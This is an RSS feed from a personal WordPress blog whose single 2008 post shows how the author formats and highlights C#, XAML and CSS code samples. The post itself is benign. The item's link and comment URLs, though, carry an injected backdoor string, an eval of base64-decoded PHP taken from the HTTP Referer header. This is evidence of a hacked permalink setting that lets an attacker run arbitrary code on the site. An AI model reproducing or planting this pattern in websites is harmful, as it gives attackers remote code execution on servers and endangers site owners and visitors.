<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Friedrich&#039;s Blog &#187; posting code</title>
	<atom:link href="http://brunzema.com/blog/tag/posting-code/feed/" rel="self" type="application/rss+xml" />
	<link>http://brunzema.com/blog</link>
	<description>Life, the universe and all.</description>
	<lastBuildDate>Fri, 23 Apr 2010 18:02:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>A way to show computer source code in the blog&#8230;</title>
		<link>http://brunzema.com/blog/2008/05/06/test-scr/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
		<comments>http://brunzema.com/blog/2008/05/06/test-scr/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 07 May 2008 01:50:43 +0000</pubDate>
		<dc:creator>brunzefb</dc:creator>
				<category><![CDATA[Computers - General]]></category>
		<category><![CDATA[Health]]></category>
		<category><![CDATA[posting code]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://brunzema.com/blog/?p=78</guid>
		<description><![CDATA[OK, this one took a bit of time to figure out, but I think I have it working to my satisfaction now. I want to be able to post source code, both C# code as well as XAML code (Windows Presentation Foundation) on the site. I found a plugin called Code Highlighter, that helps. I [...]]]></description>
			<content:encoded><![CDATA[<p>OK, this one took a bit of time to figure out, but I think I have it working to my satisfaction now.  I want to be able to post source code, both C# code as well as XAML code (Windows Presentation Foundation) on the site.  I found a plugin called <a href="http://ideathinking.com/blog-v2/?p=13">Code Highlighter</a>, that helps.  I just found the default formatting for my theme's website lacking, so I borrowed from the <a href="http://www.codeproject.com">CodeProject</a> a little .CSS fragment relating to the &lt;pre&gt; tag.</p>
<pre class="css">&nbsp;
pre
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">border</span>: <span style="color: #933;">1px</span> <span style="color: #993333;">solid</span> <span style="color: #cc00cc;">#ccc</span>; <span style="color: #000000; font-weight: bold;">padding</span>: <span style="color: #933;">0em</span> <span style="color: #933;">0</span><span style="color: #6666ff;"><span style="color: #933;">.5em</span></span>;
	<span style="color: #000000; font-weight: bold;">background-color</span>: <span style="color: #cc00cc;">#FBEDBB</span>;
	<span style="color: #000000; font-weight: bold;">padding</span>: <span style="color: #933;">5pt</span>;
	<span style="color: #000000; font-weight: bold;">font</span>: <span style="color: #933;">9pt</span> <span style="color: #ff0000;">&quot;Courier New&quot;</span>, Courier, mono;
	<span style="color: #000000; font-weight: bold;">white-space</span>: pre;
	overflow<span style="color: #3333ff;">:auto</span>;
<span style="color: #66cc66;">&#125;</span>
&nbsp;</pre>
<p>The following is an example of what C# code looks like:</p>
<pre class="csharp">&nbsp;
<span style="color: #0600FF;">public</span> partial <span style="color: #FF0000;">class</span> Window1
<span style="color: #000000;">&#123;</span>
    <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">readonly</span> ApplicationViewModel mViewModel;
&nbsp;
    <span style="color: #0600FF;">public</span> Window1<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>
    <span style="color: #000000;">&#123;</span>
        InitializeComponent<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
        mViewModel = <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> ApplicationViewModel<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
        DataContext = mViewModel;
    <span style="color: #000000;">&#125;</span>
&nbsp;
    <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> Button1_CanExecute<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, CanExecuteRoutedEventArgs e<span style="color: #000000;">&#41;</span>
    <span style="color: #000000;">&#123;</span>
        e.<span style="color: #0000FF;">CanExecute</span> = <span style="color: #0600FF;">true</span>;
    <span style="color: #000000;">&#125;</span>
&nbsp;
    <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> Button1_Executed<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, ExecutedRoutedEventArgs e<span style="color: #000000;">&#41;</span>
    <span style="color: #000000;">&#123;</span>
        MessageBox.<span style="color: #0000FF;">Show</span><span style="color: #000000;">&#40;</span><span style="color: #808080;">&quot;Text is: &quot;</span> + mViewModel.<span style="color: #0000FF;">EditBoxContents</span>, <span style="color: #808080;">&quot;Button Pressed&quot;</span><span style="color: #000000;">&#41;</span>;
    <span style="color: #000000;">&#125;</span>
&nbsp;
    <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> Button2_CanExecute<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, CanExecuteRoutedEventArgs e<span style="color: #000000;">&#41;</span>
    <span style="color: #000000;">&#123;</span>
        e.<span style="color: #0000FF;">CanExecute</span> = <span style="color: #0600FF;">true</span>;
    <span style="color: #000000;">&#125;</span>
&nbsp;
    <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> Button2_Executed<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, ExecutedRoutedEventArgs e<span style="color: #000000;">&#41;</span>
    <span style="color: #000000;">&#123;</span>
        mViewModel.<span style="color: #0000FF;">EditBoxContents</span> = <span style="color: #808080;">&quot;Reset&quot;</span>;
    <span style="color: #000000;">&#125;</span>
<span style="color: #000000;">&#125;</span>
&nbsp;</pre>
<p>This is what XAML code looks like:</p>
<pre class="xml">&nbsp;
<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Application</span> <span style="color: #000066;">x:Class</span>=<span style="color: #ff0000;">&quot;DemoApplication.App&quot;</span>
    <span style="color: #000066;">xmlns</span>=<span style="color: #ff0000;">&quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&quot;</span>
    <span style="color: #000066;">xmlns:x</span>=<span style="color: #ff0000;">&quot;http://schemas.microsoft.com/winfx/2006/xaml&quot;</span>
    <span style="color: #000066;">StartupUri</span>=<span style="color: #ff0000;">&quot;Window1.xaml&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Application</span>.Resources<span style="font-weight: bold; color: black;">&gt;</span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Application</span>.Resources<span style="font-weight: bold; color: black;">&gt;</span></span>
<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Application<span style="font-weight: bold; color: black;">&gt;</span></span></span>
&nbsp;</pre>
<p>
Normally I use Word 2007 to write the blog entries, it is very convenient.  However, you can't use it to post code, as it does not make the round trip (loading, editing, saving) without royally screwing up. <img src='http://brunzema.com/blog/wp-includes/images/smilies/icon_sad.gif' alt="icon sad A way to show computer source code in the blog..." class='wp-smiley' title="A way to show computer source code in the blog..." />
</p>
<p><span id="more-78"></span></p>
]]></content:encoded>
			<wfw:commentRss>http://brunzema.com/blog/2008/05/06/test-scr/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

